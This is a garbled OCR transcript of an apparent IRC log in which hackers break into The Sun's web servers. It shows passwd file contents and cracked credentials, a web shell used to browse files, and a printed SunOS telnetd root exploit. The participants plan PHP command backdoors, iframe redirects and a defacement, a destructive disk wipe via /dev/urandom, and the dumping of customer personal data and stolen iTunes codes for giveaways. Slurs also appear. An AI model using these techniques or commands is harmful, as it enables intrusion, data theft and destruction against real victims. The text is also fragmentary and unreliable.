nuucp : X : 9 : 9 : uucp Admi n : /var/spool /uucppubl i c : /usr/1 i b/uucp/uuci co 
smmsp:x:25:25:SendMail Message Submission Program:/: 
1 i sten : X : 37 : 4 : Network Admi n : /usr/net/nl s : 
gdm:x:50:50:GDM Reserved UID:/: 
webservd:x:80:80:WebServer Reserved DID:/: 
promote : x : 49000 : 49000 : : /export/home/promote : /hi n/sh 
mysql :x: 51000: 51000: MySQL Database Logi n : /uOl/app/mysql : /bin/bash 
nobody:x:60001:60001:NFS Anonymous Access User:/: 
noaccess:x: 60002:60002: NO Access user:/: 

nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/: 
backup : x : 51001 : 1 : : /export/home/backup : /bi n/bash 
_ develop:x:1339:1338:NI STO 
export/home/devel op : /us r/bi n/bash 

nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/: 
_ lol gdm 
wtf 00 

Lol, Opastebin now almost hast 14k followers 

pastebin admin was sending me emails, he seems happy 





m ce 

has anyone tried the telnet exploit? 

nope 

you have a reverse shell? 
if so give it a shot :D 
yup 

trying it now 

ther es a pre-c ache file on /root/backup owned by promote : promote 
wait ^^^^^1 i want to cat the htapasswd 
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19:21 
19:21 
19:21 
19:22 




#! sunnydays .log 

ok 

let me know when 

downloading now 10 mb of the prechache file just to look into 
nipdlogs: rj6okazqFF/Io 
nipdlogs:techlogs 
al ready cracked ; } 
If we get root they are so pwned! 

replace each web directory with a deface index.html and rm 




19:25 < 
19:26 < 
19:26 < 
19:26 < 
homepage' 
19:26 < 
19:26 < 
19:26 < 
19:27 < 
19:27 < 

19:27 < 

the enti re page 
19:27 <" 



wheatus - Teenage di rtbag 
just let me know 



:D 



and I'll try the telnet root exploit 
iTunesSetup.exe i n basedi r 

so ^^^^1 are we just going to do a pastebin for thesun.co.uk 

has someone got a statement ready? 
00 



19:27 
19:27 



19:27 
19:28 
19:28 
19:28 



< 

< 
< 
< 
< 

default 
19:28 < 
19:28 
19:28 
19:28 
19:28 
19:29 






homepage wi 
19:29 < 
19:29 <' 

19:30 < . 

servers and jsut 
19:31 < 
javascript 

19:31 < 

the parent 
19:32 <" 
19:32 < 



notice 

can use first the mass injection of gny 

is it going to be a redirect or an actual deface of 

to inject a frame to pornhub or something 

I can write another statement if you want 
Tn all the php files 

its a i frame redirect on thesun.co.uk homepage 
okay so pastebin then 

using javascript 
hmm that's annoying on twitter, the link will be shortened by 

so it will look like people are going straight to pastebin 
I'll find a way around it 
but that sounds like a good plan 

■■■■ that sounds useful 
Tt^^^e so funny to see how many views the pastebin gets 

well it being redirected by javascript, so some of thesun 

ave loaded before it redirects 

good I hope this redirect works. 
1 ndeed guise we could do many many things there... 

I made a copy of the suns homepage html code on one of my 



and created a subdomain with the i frame code on it, with the 
on loading the homepage the i frame succsessfully redirected 



omepage 

/uOl/web/ext ras . thesun . co . uk/basedi r/sol / 

ok I'm ready to run the telnet root exploit now. 



know when you have the precache downloaded 



just let me 



19:33 < 
19:33 < 
19:33 < 
19:36 < 
19:36 < 
19:36 
19:36 < 
19:37 < 
19:37 

main sites 

19:37 < 

before we tweet 
19:37 
19:37 




19:37 < 
19:37 < 
19:38 < 
19:39 <' 
19:39 < 
19:39 < 
19:39 < 




great 

it would be epic if this works. 

guise r u lurking on the folders? 
there r so many things there 
not at the moment 

ya there is a lot of shit on the box 

aye, lurking around 
its hard to see what links back in and is important on the 

with Sun, we can redirect and observe pastebin views 

if they go up drastically, we know it works, so we tweet 
ok 

sounds good! 

Tf not, we just delete the paste, so no embarrassment 

that sounds perfect 

we should save a door opened somewhere 
i would like to email ppl from thesun 
I yeah and a variety of shells to drive them insane 
I when we took on PBS, our backup shells were hilarious 
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19:39 < 

remove them 
19:40 < 
random 



#! sunnydays .log 
ended up just sniping out admin's 



real IPs as they tried to 




ya put in some code like <?php $_get[ ' cmd ' ] ; ?> in a load of 
backdate them, make a list of all the backdoors we create 
they will have to wipe everything to remove them all 
f possible, future lulz: http://infragardatlanta.org/ 
they finally got their site back after we wiped it 
01/web/logs/ 
should download the last ones 
deleted them after probably 
you done with the download 
they are owned by root? 
doesnt matter u can downloead them 
u have rw r r 



t 

caue u 
cause* 

at least u can lurk there 
oh ya we can download 



them, but we can't delete them 



to deface 
i ntersti ng 



http : //extras . thesun . co . uk/wordpress/footer2b . php?act=l s&d=%2Fusr%2Fl ocal%2Fapach 
e2%2Fconf%2F&sort=2a 

should spend this night to download all we find i ntersti ng 
they have a lot of config files! 
sq I backup from yesterday? 
or wait till todays is done 

adn tomorrow friday we organize big media event 

I downloaded almost everything I could find 

fnedays are good days to deface 
there is not much in the mysql 
mean internal files 

more media on a weekday? 
I'm running that root exploit now, ok 
you already looked into? 

aha 
whatever . . . 

Friday is the worst day to deface 
they all shut for the weekend 

Host: "America was safe between '00 and '08. I don't remember 
on US soil during that time" 




though seeing as 
I think Thursday 
wait until monday or 
4-6 GMT 



It s a news org 

night is the best night 

do it tomorrow morning (GMT) 



lurking the server we could 
there is like 15,000 names, 
in one table 



download all fast 
emails, address. 



we r like 5 ppl 

into mysql? ya 

s and phone numbers 

meh, I keep timing out & jcs server 

and 485,000 iTunes codes 
can't connect on that highport 

take iTunes codes for the lulz and use them as giveaways :P 
oh, nice 
_ lol 

perhaps Monday is a good idea then <3 

XD 

I don't know what they work for 

epi c 

giveaways lol ! 

catching that dump from yesterday and will 

0 

1 m downloading now the access log 

64 mb 

_ ok 

1 can work lurking during next hours if u want 
can u help here too? 

note to self, don't try and inject a 64mb access log lol 
what you need? 

Ya, dump anything you can guys 

urki ng 
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:59 


< 


19: 


:59 


< 


19: 


:59 


< 1 


20: 


;00 


<@ 


20: 


:01 


< 


iTunes 


20: 


;01 


< 


20: 


;01 


< J 


20: 


;02 


<@ 


pussh 


th 


20: 


;02 


<@ 


20: 


:02 


<@i 
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:02 


< J 
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:02 


<@ 
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:02 
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:02 
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:03 


< 
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:03 


< 
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;03 


< 








20: 


:03 


< 


20: 


:03 


< 


20: 


:03 


< 


20: 


:03 


< 


######## 


20: 


;03 


< 


20: 


;03 


< 



#! sunnydays .log 

already on that! 

that search for files 
and get them 
cool ^1 

just say me where u r so we dont overlap 
nice one guys! 

we can deface, offer giveaways and release all we found 
in a twitter mega event 
sounds good to me 
249991 



3F674WKKW3YX 
2 

249992 

1 

EF9H44AMLWR4 
3 

249993 
1 

ENKLNFJA64T6 
4 

249994 
1 

LRAK933LP44N 
5 

thats the intunes codes 

_ can u tar more of them for us? 
oh, those are promo codes, working like prepaid cards. 



■just for 




yup 




ok ill make a tar of 10,000 or something? 

yep pack some thousands for our internal giveaways and then we 
million out 
perfect 
<3 

should try some of those and see if they're already active 
A sure 

yep 

I'm not sure what they do tbh 
^^Hmi crositel # cat telnet.sh 
TT/DTn/sh 

# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL 
# 
# 

'"'ATTENTION " 

# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES 

# CO COPYRIGHT Kingcope, 2007 

# 

######################################################## 

echo "" 

echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope 
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20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 
20:03 < 

20:03 < 

account an 
20:03 < 
20:03 < 
20:03 < 
comments . php 

20:03 < , 

comments . php . bak 
20:03 <' 

20:03 < . 

footer2b . php 

20:03 < 

1 eftnav. auto 

20:03 < . 

1 eftnav. php 
20:03 < 
1 eftnav. php 
20:04 < _ 
sampl e . php 

20:04 < 

sample. php. bak 

20:04 < 

sampl e_2 . php 
20:04 < _ 
sampl e_2' 
20:04 < _ 
style. CSS 

20:04 < 

Style. CSS. bak 
20:04 < 
20:04 < 
telnet. s 
20:04 < 
20:04 < 
version 
20:04 < 
20:04 < 
20:04 < 
20:04 < 
20:04 < 
20:04 < 
20:04 < 
20:05 < 
20:05 < 
20:06 < _ 
WorkGroups 
20:06 < 
20:07 < 
20:07 < 
20:07 < 
20:08 < 
20:10 < 
20:10 < 
20:10 < 



Imicrositel # 





#! sunnydays.log 

if [ $# -ne 2 ] ; then 
echo "./sunos <host> <account>" 
echo "./sunos local host bin" 
exit 
fi 

echo "" 
echo 
echo 

telnet -r'-f$2" $1 

# mil wOrm.com [2007-02-ll]| 

^^Hmi crositel # Is -al 
total 1622 

drwxrwsr-x 4 promote promote 512 Jul 14 20:24 . 

you receive a certain amount of money on your iTunes 

uy stuff in i tunes store 

I drwxr-xr-x 216 promote root 8192 Jul 12 02:02 .. 

I drwxrwsr-x 2 promote promote 512 Nov 4 2010 .rsrc 

I -rw-rw-r — 1 promote promote 10168 Nov 4 2010 

-rw-rw-r — 1 promote promote 12447 Nov 4 2010 

oh lol i know that XD XD XD the most simple one ever made probably 

promote 

promote 

promote 

promote 

promote 

promote 

promote 

promote 

promote 

promote 

00 



-rw-r--r-- 


1 


-rw-r — r-- 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


-rw- rw-r — 


1 


1 Aye, this 


is ■ 


-rwxr-xr-x 


1 


drwxrwsr-x 


2 


-rw-r--r-- 


1 



promote 


590389 


Mar 


13 


2008 


promote 


39292 


Mar 


13 


2008 


promote 


1677 


Nov 


4 


2010 


promote 


1648 


Nov 


4 


2010 


promote 


12267 


Nov 


4 


2010 


promote 


12262 


Nov 


4 


2010 


promote 


12279 


Mar 


14 


2008 


promote 


12278 


Mar 


14 


2008 


promote 


13917 


Nov 


4 


2010 


promote 


13848 


Nov 


4 


2010 


;t remote 
promote 


exploit 
550 


of all 
Jul 14 


time. 
20:24 


promote 
promote 


512 
66160 


Mar 
Dec 


13 
11 


2008 
2010 



promote 

promote 
promote 

L # . /telnet. sh 
. /te I net . sh : not found 
^HHmi crosi tel # WTF 

wtfT 

why is it saying not found 

ok 

haha ya 

can I just run this 
telnet -l"-fbin" l ocal host 

CTCP VERSION reply from mIRC 5.16 - Microsoft Windows for 

11 

<3 

I wonder do the i tunes codes have an expi ry> 

7 

Don't know that... but they have to be activated first. 

ol< 

micrositel # telnet -l"-fbin" localhost 

Trying 127.0.0.1. . . 

telnet: connect to address 127.0.0.1: Connection refused 
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20:10 < mm 

20:10 < S 
unreachable 
20:10 < 
20:12 
joi ne 
20:12 < 
20:12 < 
20:13 < 
20:13 < 
20:13 < 
20:13 < 
20:13 < 
20:13 <' 
20:13 
20:13 
20:13 
20:14 
20:14 < 
20:14 < _ 
the peop" 
20:14 < _ 
gentl emen 
20:14 
20:14 < 
20:14 < 
20:14 < 
20:14 
20:14 
20:15 

20:15 . 

http : //www. yo 
20:15 < 
20:15 
20:15 < 

20:16 < 

to be tested 
20:16 <' 
20:16 < 
20:16 
20:17 
20:17 
20:17 
20:17 
20:17 







http: //www 
20:19 < 
20:19 < 
20:19 < 

20:19 < 

incorporate 
20:19 < 
20:20 < 
20:20 < 
20:20 < 





#! sunnydays.log 

Trying : :1. . . 

telnet: Unable to connect to remote host: Network is 
micrositel # 

kon j assi em-750715DB . b- ras3 . mvw . gal way . ei rcotn . net] has 

ydays 

anyways i didnt expect too much from the telnets ones 

hey hey 

whassa happenin 
! status 
lol 

H <3 

apparently we are stealing half a million iTunes codes now 

oh 

:D Epic Win 

- status on the Sun? 
re redistributing them! 
can definitely redirect the homepage 
Awesomesauce :d 

yeah, we're taking a large clump of codes and spreading them to 

I can facilitate such a heist via the twitter and pastebins, 

passes cigars around 
Me encanta tu senor, es muy bien! 
put bitcoin hash in everything 
:d 

ah, el cigar, muy bueno senor! 

we have to verify first the codes works 
http : //www . sendspace . com/f i 1 e/onl 35s 

this is our theme song for the codes: 

utube . com/watch?v=cozZKD4M810 

the codes washed away all the hate 
take one of his serie D nro 4 cigars to share too 
and society started advancing 

ok, I'm not sure what these codes do, so they definatly need 

i tunes codes giveaway is just 
epi c 

are they limited to what you can by with them 

They work like prepaid cards for cellphones. 
_ e a certain artist or album etc? 
we'll need extensive testing, do we have samples? 
wait a second 

are any of us stupid enough to use iTunes? 

usually they're worth a certain amount of moneys, 
no si r 

giveaways is a joint venture between Anonymous and 

okay so we need a chump to give free codes to 
I don't know anyone dumb enough to use iTunes, this is a 

this will be a Lulzsec release :d 
_ we are doing it from OLulzSec 
whatever 

for insane exposure 

I'm wondering, because looking at 
menot.com/view/itunes.com they all have a certain purpose 
I dunno, I don't use itunes 
http: //www. sendspace . com/f i 1 e/onl 35s 
there is 10k codes in that archive anyways 
the LulzSec Redistribution Project, sponsored by Anonymous 

I can do a statement 

I would hold on till we find out what these really do 
T know ^^H^^^l don't worry 
I alway^o^tn^statements way before hand 
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#! sunnydays .log 



the tar.gz 
Faction? 



gives me error 



checked there and the archieve is bigger than the 

tar.gz to .txt 



change the file extension of the 
oops ! 



_ So it looks like we won't be getting root unless somebody 

engineers the admins 

: P 

get the codes ^^^^ 

have you got the main statment for the sun done? 

find ppl to test 




test, I'll 

I have the 

situation 
mention that I 



rob my sisters netbook 

fake story, but I really don't know much 



http://www.guarc 
20:37 < 



20:38 < 
behind Lu izsec 
20:38 < 




love you guys? 
not sure how to quantify it in a statement 



i an . CO . uk/technol ogy/2011/ j ul /14/why-l ul zsec-deci ded- to-di sband 
this is okay I guess, I talked to this guy a bit 
he focused this way too much on me rather than the reasoning 

note I did explain to him twice to focus on the fact that 



LulzSec was a team effort (might just paste the entire conversation for everyone) 




those codes only work in the UK guys 
tun tun fun fun for UK fags! 

lets conquer the whole country with those codes and rebuilt fort 




hmm 

but I cant test 
we could fuse 



them 



into that 



20:38 < 
20:39 < 
20:39 < 
longcat 
20:39 < 
20:39 < 
20:39 < 
20:40 < _ 
i nvol vi ng 
20:40 
20:41 
20:46 
20:47 
20:47 
20:47 
20:47 
20:48 
20:48 
20:48 
20:48 
20:48 
attention 
20:48 < - 
20:48 < 
20:48 < 
20:49 < 

20:50 < 

http://www.avaaz.org/en/stop_rupert_murdoch_3/ in the statement too? 



"beca use the UK citizens have been fed ridiculous stories 
we are now distributing free i Tunes codes to the UK" 

etc etc 

sounds good 

again, this codes need to be confirmed by someone in the UK 
thats a nice article BTW 
so we gonna keep the deface till monday 
might as well <3 

right so UK people with iTunes, hmm 

I don't think there is much more to be achieved by waiting tbh 
not particularly 
I'm itching to see the mayhem 
but understand the resolve required 

News international seems to be at the peak of their media 




atm 




this would help boost it 
what can we do with that? 

and I want to see what happens :P 
thats Murdochs parent comany that 



maybe we could link to something like 



owns all his UK papers 



20:50 < 
20:51 < 
20:51 < _ 
(possible 
20:51 < 
20:55 < 
20:56 < 




okay, maybe we can 
I'm confused about 

I've done the fake 

1 Tunes statement if need 
not sure how to go 
ok 

maybe use some of the examples from the avaaz link 
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21:05 
21:05 
21:06 
21:09 
21:09 
21:10 
21:10 
21:10 
21:11 _ 
thesun . co 
21:12 < 
21:12 < 
21:12 < 
21:12 < 




#! sunnydays .log 



report? 




ppl in london to test them 

are the contents of the pastebin we redirect to (from 

e fake story, or a press statement on The Sun? 
just confused about that 

which ever you think would be best? 
the paste bin? 

okay I'm just confused about the public press statement for The 



Sun, where it would go 
21:13 ' ■ 



_ the main interesting thing would be what do those codes provide, 

for example if they r gift cards for a, lets say, value of 20pounds we would 
fuck rupert for a value of almost 10 000 000 pounds 



21:13 
21:13 
21:13 
21:13 




21:13 < 
21:13 < 



pastebin and redirect to that 



for the lulz 

Lets get legal music 
with 

illegal coupons 
indeed, so we should wait for that before we think about a 

well 

I wish, but I doubt it, well we could put the statement in the 




21:14 
21:14 
action 
21:14 < 

21:15 < 

redirect to it. 



with it 


21: 


;15 


< 




21: 


;15 


< 




500,000 




21: 


:15 


< 




21: 


;15 


< 




21: 


;15 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




21: 


;16 


< 




media 


exp 


21: 


;16 


< 




21: 


;16 


< 




statement 


21: 


;16 


< 




21: 


;17 


< 




21: 


;17 


< 




21: 


;17 


< 




21: 


;17 


< 




21: 


;17 


< 




21: 


;17 


< 




21: 


;19 


< 




21: 


;19 


< 






losion 




instead of donating something to the red cross with a stolen cc 
donate an i tunes file 
and see if ti works! 
D: 

we could brainstorm littlle bit to improve the media impact of the 

the best media impact, if a statement, comes from the codes 
let's look at what will happen: we put a statement on pastebin, 
within a few minutes Sun will probably fix it, then we look like 
tebin saying we've hacked Sun, even though there's nothing wrong 

we need those codes too 

even if they're just worth 1 song, we'd fuck him for almost 

wel 1 

not true 

with the amount of tweets 
the fire goes faster 
than they can fix 
but if the codes work 
we can light up a whole forest 
before the fire brigade is even enar 
i ndeed 

so I think having the codes as 50% of the statement is key for 
So 

"otherwise it's quite lame and doesn't deserve our usual style of 

can someone test a code? 
Because im sure 
we can make some people happy 
with some JB songs. 

if the codes fail, we'll just make the pastebin a fake story 
and the media can write away 
we just won't brag if that's the case 
well 

are we going to try ourselves 
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21:19 
21:19 
21:19 
21:20 
21:20 
21:20 





"rame on 



allows 1 i nki ng 
21:21 <f 
21:21 <( 
f rame/i 
21:21 <^ 
21:21 <( 
21:21 <( 
21:22 
21:22 
21:22 
21:22 
21:22 
21:22 
21:22 




href="http://ex 
21:24 < 
src='http://ext 
scrolling^'no' 



21: 


:24 


< 


21: 


:24 


< 


21: 


:25 


< 


21: 


;25 


< 


21: 


;25 


< 


21: 


;25 




21: 


;25 


<i 


21: 


;25 


<i 


21: 


;25 


<i 


21: 


;25 


<i 


21: 


;25 


<i 


21: 


;25 


<i 


21: 


;25 


<i 


21: 


;26 


< 


21: 


;26 


< 


21: 


;26 


< 




#! sunnydays .log 
or do i have to give someone 
a free i tunes code 
because i love em? 
don't forget to freze.it 
and screenshots 
etc 

zone-h 
the usual 

we can't freeze.it a redirect page to a pastebin 
ah. 
> . > 
heh 

why a redirect to pastebin again? 
I don't think we have the access to deface the page 
why not? 
:1 

because we suck 

that person has to be using a UK iTunes Acc. 

I mean, l am pretty sure they have a crossdomain.xml that 
etween main domain and subdomains 
on their site 

which would allow you to access the 'parent frame' from any 
the site 

and modify it 
using javascript 

(it was a frame on extras, right?) 

didn't follow the entire conversation, so info may be outdated 
yes, I believe it's an i frame on extra. sun with a redirect 
its an i frame 
so there is bas^euT^an i frame on their frontpage 
and the src of that i frame is on extras, 
yes 

7 

ok 
sec 

http : //www. thesun . co . uk/crossdomai n . xml 
no extras, in there 
not sure if allowed 
1 sec, lemme play around a bit 
Where's the i frame exactly? 
I already tested it, and it seemed to work 
(so I can play around with chrome inspector clientside a bit) 
you can access the parent frame? 
parentFrame.innerHtml = ""; 
or well 

parentFrame.innerHtml = "<deface page goes here>"; 
<di V id=" three-col umn- custom- html -top"> 

<div class="width-862 bg-fff" xlink rel="stylesheet" 

tj^vas . thesun . CO. uk/sol/breaki ngnews . ess" type="text/css" /> 
<i frame 

ras. thesun. CO. uk/sol/breakingnewspage. html ' f rameborder="0" 
margi nwi dth="0" margi nhei ght="0" i d="breaki ngNewsi Frame"></i f rame> 

</di v> 
</di v> 

just view the source of the homepage and search for 'extras' 
Yes we might be able to overwrite the page using javascript 
damn if only we could root the box 
plays around a bit 
also, they made it really easy 
rofl 

an invisible i frame 
on the frontpage 

on a server you have access to... 

the only better thing is a world-writable every minute cronjob 
lol 

ITS A<LLLLLLIVE 

netbook mk 2 
lol 
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that 




#! sunnydays.log 
you could try to test this 



ok 

what 
lol 

haitou2 pwn 

is change the extras 

<input type="Fiidden"> 

to the main frame/page 
and then reload the page 
should not be visible 
ok send me the code and 
sec 

shag one of yer 



page, to include a piece of javascript 



to see if it's somewhere in the DOM 
i ' 1 1 put it in 
UK friends and give em a free i tunes 



Apple won 




report back 
grab one of 



with results? 
em nao 



21:37 < I 
our shel 



and 
111 
kk 

they are invalid/not activated, we should dump them nontheless, 
accept them anymore. 

did not test my code in IE 
but it should work 
I guess 

works in f i refox and chrome 
1 sec 

put this in the frame source 
<scri pt type="text/javascri pt"> 

var loadCounter = document. createElement('input') ; 
loadcounter .setAttributeC'type' , 'hidden') ; 
loadCounter. setAttributeC' id' , 'load_counter') ; 
loadcounter. setAttributeC'value' , '1') ; 
parent . document . body . appendchi 1 d (1 oadcounter) ; 
</scri pt> 

then ctrl+f5 main page, and check the dom for <input 
="load_counter" value="l") 

still we could mass inject all the pages with php creating 

to to diff PR, anon art, and stuff, so they will panic 
what not and they will pull the whole site to audit it 

<input type="hidden" id="load_counter" value="l"> 

if^^^^wes an error in the error 
do not have permission to access 
but if they don't take it down, 
z could be repeated once or twice 

try it in multiple browsers, they may behave differently :P 

man 
fanboys 




errors, you 



a frame 
about what we ve 



console, like dom errors or 
the parent frame 
they maybe won't find all of 



them 
21:39 




we 



the tuc 
keep your 
with you 
could upload 



many diff shells everywhere to see how many of 



the britfags are offline 
fucking english 
y they no derp mac herp 

https://twitter.eom/#l/SSt4110n3/status/91601056651423744 

A 

srs 

thats yer fanboy 

http : // extras. thesun . co . uk/wordpress/f ooter2b . php?act=f&f =pagewei ghts . php&f t=txt& 
d=%2Fu01%2Fweb%2Fextras . thesun . co. uk%2Fbasedi r%2Fdev%2F 





this guys? 

dump all source you have 



whats 
/dev? 
oh also, 
guys 

so we could compile ther a little c code to listen on a high 
then systemC'cp log.txt /web/log. php' ) ; 
i think their might be some interesting stuff in /dev 
'did you open something running on high port?' 
:P 
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21: 


;42 




21; 


;42 


< 


21; 


;42 




21; 


;43 




21; 


;43 


< 


21; 


;43 


< 


21; 


;45 


<i 


21; 


;45 


<i 


21; 


;45 


<i 


21; 


;46 


< 


21; 


;46 


<i 


21; 


;46 


<i 


21; 


;46 


<i 


21; 


;46 


<i 


21; 


;46 


<i 


21; 


;46 


<i 


21; 


;47 


< 


21; 


;47 


< 


21; 


;48 


< 


21; 


;48 


< 


21; 


;49 


< 


21; 


;49 


< 


21; 


;49 


< 


21; 


;49 


< 


21; 


;49 


< 


21; 


;50 


<i 


21; 


;50 


<i 


21; 


;50 


<i 


21; 


;50 




21; 


;50 




21; 


;50 


<i 




#! sunnydays .log 

lemme know when you did 
er it worked or not :P 



few minutes as the cache has to cycle 
probably be blocked 
nice overlay div :> 




lesun . CO 
: //extras . thesun 
must match. 




and wnet 
wi 1 1 do 
it will take a 
innerHtml will 
so I'll write a 
heh, ok 

Beatles - Here comes the sun xD 

al so 

^^^^^ffrace conditions 
you may want to call that as a function 
in the onload 
of the i frame 

here goes the sun? :p 
up now 
maybe ;) 
news on barbaras cc? 
Guys 

im about to erase a laptop 
by this command 
cat /dev/urandom > / 
good/bad idea? 
hmm, 1 sec 

they seem to do all kinds of funky shit 
with the DOM 
/dev/urandom > / 
erase :o 

Unsafe JavaScript attempt 

uk/sol /homepage/ from frame with URL 
CO . uk/sol /breaki ngnewspage . html . Domai ns 



the javascript test 



to access frame with URL 

protocols and 



just fill with rand data xD 



no access 
:1 

fill with rand is ok 
ok, will I change back? 
I guess so... if it's not 



an allowed domain I doubt you can get 



21:53 
21:53 
21:53 
21:54 
21:54 
21:54 
21:54 



:1 
mm 

how were you planning to do the redirect? 

because... I don't quite see how you would achieve a redirect 
if you don't have cross-frame access 

like that just using <script 

'text/javascri pt">parent .location . href= "redirect url" ; </scri pt> 
yes, but I dont think you can do that 
tbh 
sec 

I thought their might be problems so I added a extras, to one 
"tested it as close to the sun setup as possible and I didn't 
or FF 
try this 

<script type="text/javascri pt"> 

var loadCounter = document.createElement('input') ; 
loadCounter . setAttri buteC ' type' , ' hidden ' ) ; 
loadCounter . setAttri bute( ' id ' , ' load_counter ') ; 
loadCounter . setAttri bute( ' val ue ' , parent . location. href) ; 
document . body . appendchi 1 d (1 oadCounter) ; 
</scri pt> 

and look in the i frame DOM (not the parent frame dom!) 
and see if the hidden input has any value 
it should carry the parent frame URL as value 
if it does, there is a chance it may work., if it doesn't, it 
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won't work 
21:54 <_ 
the otheT 
21:55 < 
21:55 ■ 
pewpewpew 
21:56 < 
21:59 
22:01 
22:01 
22:01 
the she! 
22:01 < 
22:03 < 
22:04 
22:04 
22:08 
22:08 
22:08 < 



#! sunnydays.log 

for sure 

I am not sure if it's just the DOM that is protected or also 

parent attrri butes 
^^^^H cya a11! :D 

^^■h [^^^^■4B27001E.B8C70A02.3978755B.IP] has quit [User quit: 
^^aammt empty mag.] 
brb inasfew 

^^^^1 want the shell link to test? 

umw 
wel 1 

I think it would be a good idea if i did not directly access 



22 


:08 


< 


22 


:08 


< 


22 


:08 


< 


22 


:09 


< 


22 


:09 


< 


22 


:11 


■ 


22 


:11 




the gua 


22 


:11 


< 


22 


:11 


< 


22 


:11 


< 


22 


:11 


< 


22 


:12 


< 


22 


:12 


< 


22 


:13 


< 


fl uores 


22 


:13 


< 


22 


:13 




22 


:13 


< 


22 


:14 




http://^ 


22 


:16 


< 


files' 




22 


:16 


< 


22 


:16 


< 


22 


:17 


< 


22 


:17 


< 


http://i 


C-( 


downli 


22 


:17 


< 


22 


:17 


< 


22 


:18 


< 


22 


:19 


< 


22 


:19 


< 


22 


:19 


< 


22 


:20 


< 


22 


:21 


< 


22 


:21 


< 


22 


:21 


< 


22 


:21 


< 


22 


:22 


< 


22 


:22 


< 


22 


:22 


< 


22 


:22 


< 


22 


:24 


< 


22 


:24 


< 


22 


:32 




22 


:37 


< 


22 


:37 


< 




p 

the 



all databases there 
quit [Ping timeout] 



made yesterday 



BT5 




backup dump of 
[^^^^^^0.0] has 

faTrenough 
NOW to install 
em gnome 
'•remove gnome 
install LXDE 
????????? 

PROFIT 

http : //extras . thesun . co . uk/sol /breaki ngnewspage . html 
:D 

0.0] has joined #!sunnydays 

ah 1 never noticed this before but lulzsec had our own part of 
http : //www . guardi an . co . uk/technol ogy/1 ul zsec 
derp 
back 

I missed the past few things I guess 
power cut out here, overloaded >.> 

howdy guys 

status update chaps? 
two heaters, induction cooking plate, coffee maker, and several 
ts... that is far over the 3500 watt limit lol 

http : / /extras . thesun . co . uk/sol /breaki ngnewspage . html 

confused as fuck by 




that 




idn't read your above lines and was 
your doing well if your squating! 
i found something humiliating today in ED 
pedi adramati ca. ch/User_tal krDoNotwant 

- if my Linux instal is stuck on 99% for an hour "copying 
out oThdd? 

idiotic question i know 

but I need to know quick before it gets silly 

btw I think I found out what those codes are used for. 



■thesun . co. uk/sol /homepage/fun/competitions/promotions/473656/Free-musi 
-Dami 1 ol a-Taylor . html ?pri nt=yes <-- 

December 2007" 




ppl able to try one of them 
my own backtrack 



"This content code expires 15th 
if it's REALLY the same codes, 
but would still be nice to find 
hmmmm fuck this, im making 
:D 

brb - vmware o clock! 
ok! it stopped bugging 

Anyone recommend a wondow manager for netbooks? 
GNOME is not an option 
im thinking FluxBox 
good work 

t thats kinda shit for us 
it's just a guess! 
someone needs to try. . . 
netbook. . .dunno, maybe go for a tiling wm 
http : //uk . 1 i nkedi n . com/pub/1 au rence-aronberg/b/762/778 
thats the web developer who runs the server 

onjassiem-B39FE274.com] has joined #!sunnydays 

your doing well if your squating! 

we nave normal electricity :P 
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22:37 < 
22:37 < 

22:38 < 

cables throug 
core. 



# lsunnydays.log 
it's a bit nigger riggd 

but technically it should comply with all standards 

(friend of ours is an electrician, but we do use extension 

the entire house because the internal wiring is rotten to the 
we just have 4 wall sockets downstairs, 1 for each 'group', and a looong 




extension cable/spool running from each, which then splits into extension blocks) 

22:43 < ^^^^^B uns^^^avaScri pt attempt to access frame with URL 
http ://www^nesun . CO. uk/sol /homepage/ from frame with URL 
http://extras.thesun.co.uk/sol/breakingnewspage.html. Domains, protocols and 

ports must match. 




22:43 < 
22:43 < 
22:43 < 

22:43 < 

and delete 
22:44 < 
22:44 < 
22:44 < 
22:44 < 
22:44 < 
22:46 < 
22:46 < 
22:47 
22:47 BH 
quit [Pi n 

22:49 <^ 

https : //twTtte r . com 



not going to work 
you basically can't do a redirect 
:1 

taki ng bets now on how long before jesfag will remove his blogpost 
is tweets without further notice 
rofl 
howso? 

iceWM 

or Openbox 

http://gizmodo.com/5821361 Adrian Chan basically pwned him 

ROFL 

ROFLROFLROFL 

bets on 2 weeks 

kon j assi em-750715DB . b- ras3 . mvw . gal way . ei rcom . net] has 




timeout] 



22:49 
22:50 




lulzy typo 
T/Adrianchen/status/91554814093303808 

ROFL 

likes Adrian Chen a lot more now 
mmmmm 



22:58 

main server 
22:58 < 
22:58 < 
access 



a mce tweet might be, based on an older one 

"Anonymous is like Cloudflare. Every time you attack it, it 

gets stronger." 
ok 

tharm^^^r that 
back to the drawing board 
ok I backdoored a few scripts with rfi's 
I'm thinking of a way to get around it 

wouldn't it be great if some of the dev stuff was put on the 

but everything requires access to the parent frame 
and at least chromium isn't even giving you a tiny bit of 

theses sysadmins have been so helpful so far 
lol 

did you try f i refox or IE 
download their source 
and upload it :3 

I didn't try IE (I'm on a Linux box atm) 

there is not that much here 
but judging from other experiences with Fi refox 
Fi refox will block it as well 

they have adopted a lot of security models from chrome 

they have an obsession with fuckin xml and json 
the newest IE will likely also block it 
also 
funfact 

Chromium now actually has xss protection. 

<? 

/ convert XML to JSON 

/ $url = 

http : //www ■ thesun . co . uk/sol/homepage/feeds/i Pad/top_stories/?i PadApp=true" ; 




23:00 < 



Eurl = 



"http : //www . thesun . co . uk/sol /homepage/f eeds/i Pad/breaki ng_news/?i PadApp=true" ; 
23:00 <pHHiH / $url = 

"http : //www . thesun . co. uk/sol/homepage/feeds/i Pad/showbiz/?i PadApp=true" ; 
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23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:00 < 
23:01 < 
23:01 < 
23:01 < 
23:01 < 
23:01 < 
